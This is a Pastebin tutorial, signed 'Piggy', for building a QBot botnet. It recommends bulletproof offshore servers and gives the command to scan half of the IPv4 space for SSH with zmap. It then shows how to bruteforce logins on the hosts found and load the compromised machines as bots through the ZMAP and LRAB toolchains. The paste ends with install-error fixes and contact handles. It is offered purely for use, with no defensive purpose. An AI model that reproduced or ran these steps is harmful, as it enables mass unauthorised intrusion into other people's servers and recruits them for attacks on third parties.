Advertisement
piggymods

QBot Scanning TuT

Nov 5th, 2017
6,423
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.84 KB | None | 0 0
  1. ______ ______ _ ____ _____ ____ _____ _____ ____ _____ ______ _________ _____ _____ _________ ___ _______ _____ _ _____
  2. .' ____ \ .' ___ | / \ |_ \|_ _||_ \|_ _||_ _||_ \|_ _|.' ___ | | _ _ ||_ _||_ _|| _ _ | .' `.|_ __ \ |_ _| / \ |_ _|
  3. | (___ \_|/ .' \_| / _ \ | \ | | | \ | | | | | \ | | / .' \_| |_/ | | \_| | | | | |_/ | | \_|/ .-. \ | |__) | | | / _ \ | |
  4. _.____`. | | / ___ \ | |\ \| | | |\ \| | | | | |\ \| | | | ____ | | | ' ' | | | | | | | | __ / | | / ___ \ | | _
  5. | \____) |\ `.___.'\ _/ / \ \_ _| |_\ |_ _| |_\ |_ _| |_ _| |_\ |_\ `.___] | _| |_ \ \__/ / _| |_ \ `-' /_| | \ \_ _| |_ _/ / \ \_ _| |__/ |
  6. \______.' `.____ .'|____| |____||_____|\____||_____|\____||_____||_____|\____|`._____.' |_____| `.__.' |_____| `.___.'|____| |___||_____||____| |____||________|
  7. _______ _____ ______ ______ ____ ____
  8. |_ __ \|_ _|.' ___ | .' ___ ||_ _||_ _|
  9. ______ | |__) | | | / .' \_| / .' \_| \ \ / /
  10. |______| | ___/ | | | | ____ | | ____ \ \/ /
  11. _| |_ _| |_\ `.___] |\ `.___] | _| |_
  12. |_____| |_____|`._____.' `._____.' |______|
  13.  
  14.  
  15.  
  16. Needed:
  17. 1. 1 or 2 bulletproof VPS / OffShore VPS (ANY VPS THAT ALLOWS HACK SCRIPTS / BRUTEFORCING)
  18. Links for these:
  19. https://hackforums.net/forumdisplay.php?fid=145
  20. http://www.aiikm.com/bill/index.php/order/forms/
  21.  
  22. 2. A brain and some experince with setting up your QBot.
  23.  
  24.  
  25. ======================================================
  26.  
  27. ________ ____ ____ _ _______
  28. | __ _||_ \ / _| / \ |_ __ \
  29. |_/ / / | \/ | / _ \ | |__) |
  30. .'.' _ | |\ /| | / ___ \ | ___/
  31. _/ /__/ | _| |_\/_| |_ _/ / \ \_ _| |_
  32. |________||_____||_____||____| |____||_____|
  33.  
  34.  
  35. ======================================================
  36.  
  37. STEP ONE:
  38.  
  39. yum update -y
  40. yum install gcc cmake gmp gmp-devel libpcap-devel gengetopt byacc flex -y
  41. yum install json-c-doc.noarch json-c.i686 json-c.x86_64 json-c-devel.i686 json-c-devel.x86_64 -y
  42. yum install epel-release -y
  43. yum install gengetopt -y
  44.  
  45. STEP TWO:
  46.  
  47. wget https://github.com/zmap/zmap/archive/v2.1.0.tar.gz
  48. tar -xvf v2.1.0.tar.gz
  49. cd zmap-2.1.0
  50. flex -o "src/lexer.c" --header-file="src/lexer.h" "src/lexer.l"
  51. byacc -d -o "src/parser.c" "src/parser.y"
  52. mkdir /etc/zmap
  53. cp conf/* /etc/zmap
  54. cmake -DENABLE_HARDENING=ON
  55. make
  56. make install
  57.  
  58. Commmands once in cd zmap-2.1.0
  59.  
  60. zmap -p22 0.0.0.0/1 -o mfu.txt
  61.  
  62. That scans the world's ips and saves them in mfu.txt
  63. Then you can ./update 2500 which will bruteforce the IPS and save them to a vuln.txt
  64. Then you need to remove DUP's, so you can run ./dup and you will get just a vuln file and then you can 'perl cli.pl vuln'
  65.  
  66. ERRORS:
  67.  
  68. Cantt locate net/ssh2 or whatever, do this:
  69.  
  70. yum install gcc cpan php-pear php-devel libssh2 libssh2-devel -y
  71. pecl install -f ssh2 touch /etc/php.d/ssh2.ini echo
  72. extension=ssh2.so>/etc/php.d/ssh2.ini
  73. cpan -fi Net::SSH2
  74. cpan -fi Parallel::ForkManager
  75.  
  76. SHOULD WORK AFTER THAT.
  77.  
  78. CPAN ERROR:
  79.  
  80. wget http://search.cpan.org/CPAN/authors/id/D/DL/DLUX/Parallel-ForkManager-0.7.5.tar.gz
  81. tar -xvf Para*
  82. cd Para*
  83. perl Makefile.PL
  84. make
  85. make install
  86. cd ../
  87. rm -rf Para*
  88. wget http://www.cpan.org/authors/id/S/SA/SALVA/Net-SSH2-0.59_23.tar.gz
  89. tar -xvf Net*
  90. cd Net*
  91. perl Makefile.PL
  92. make
  93. make install
  94. cd ../
  95. rm -rf Net*
  96.  
  97. RUN THOSE AND SHOULD FIX.
  98.  
  99.  
  100.  
  101.  
  102.  
  103.  
  104.  
  105. ======================================================
  106. _____ _______ _ ______
  107. |_ _| |_ __ \ / \ |_ _ \
  108. | | | |__) | / _ \ | |_) |
  109. | | _ | __ / / ___ \ | __'.
  110. _| |__/ | _| | \ \_ _/ / \ \_ _| |__) |
  111. |________||____| |___||____| |____||_______/
  112.  
  113. ======================================================
  114.  
  115. STEP ONE:
  116.  
  117. yum update -y
  118. yum install gcc nano make wget unzip git perl -y
  119. yum install httpd mod_ssl -y
  120. sudo /usr/sbin/apachectl start
  121.  
  122. YOU SHOULD GET THIS MESSAGE: "Starting httpd: httpd: Could not reliably determine the server's fully qualified domain name, using (your server ip) for ServerName"
  123.  
  124. BUT THATS GOOD, DONT WORRY.
  125.  
  126. STEP TWO:
  127.  
  128. Log into winscp and put your LRAB folder into your root directory.
  129.  
  130. STEP THREE:
  131.  
  132. yum install perl gcc gcc-c++ cpan httpd tftp unzip -y
  133. yum install gcc php-devel php-pear libssh2 libssh2-devel -y
  134. pecl install -f ssh2
  135. touch /etc/php.d/ssh2.ini
  136. echo extersion=ssh2.so > /etc/php.d/ssh2.ini
  137. yum install cpan -y
  138. cpan -fi install Net::SSH2
  139. cpan -fi Parallel::ForkManager
  140.  
  141. STEP FOUR:
  142.  
  143. ./class PORT -a IP -i INTERFACE -s 10v
  144.  
  145. EXAMPLE:
  146.  
  147. ./class 22 -a 192 -i eth0 -s 10
  148.  
  149. THEN,
  150.  
  151. cat bios.txt | sort | uniq > mfu.txt
  152. ./update 1200
  153.  
  154.  
  155. That bruteforces IPS, then you can:
  156.  
  157.  
  158. cat vuln.txt | grep -v DUP > bots.txt
  159.  
  160. and then perl cli.pl bots.txt or whatever you saved it to.
  161.  
  162. ERRORS:
  163.  
  164. PERMISSION DENIED: just type "chmod 777 *"
  165.  
  166. CANT LOCATE NET/SSH2:
  167.  
  168. yum install gcc cpan php-pear php-devel libssh2 libssh2-devel -y
  169. pecl install -f ssh2 touch /etc/php.d/ssh2.ini echo
  170. extension=ssh2.so>/etc/php.d/ssh2.ini
  171. cpan -fi Net::SSH2
  172. cpan -fi Parallel::ForkManager
  173.  
  174.  
  175.  
  176.  
  177.  
  178. ======================================================
  179. ____ _____ ________ _________ _____ ______
  180. |_ \|_ _||_ __ || _ _ ||_ _|.' ____ \
  181. | \ | | | |_ \_||_/ | | \_| | | | (___ \_|
  182. | |\ \| | | _| _ | | | | _.____`.
  183. _| |_\ |_ _| |__/ | _| |_ _| |_ | \____) |
  184. |_____|\____||________| |_____| |_____| \______.'
  185.  
  186. ======================================================
  187.  
  188.  
  189. STEP ONE:
  190.  
  191. DONT USE NETIS. ITS DEAD.
  192.  
  193.  
  194.  
  195. -Piggy. Enjoy being a sp00ky haxor :P
  196. Any questions, ask me in skype!
  197. KIK; .Liquify
  198. Instagram: @Piggy.Mods
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement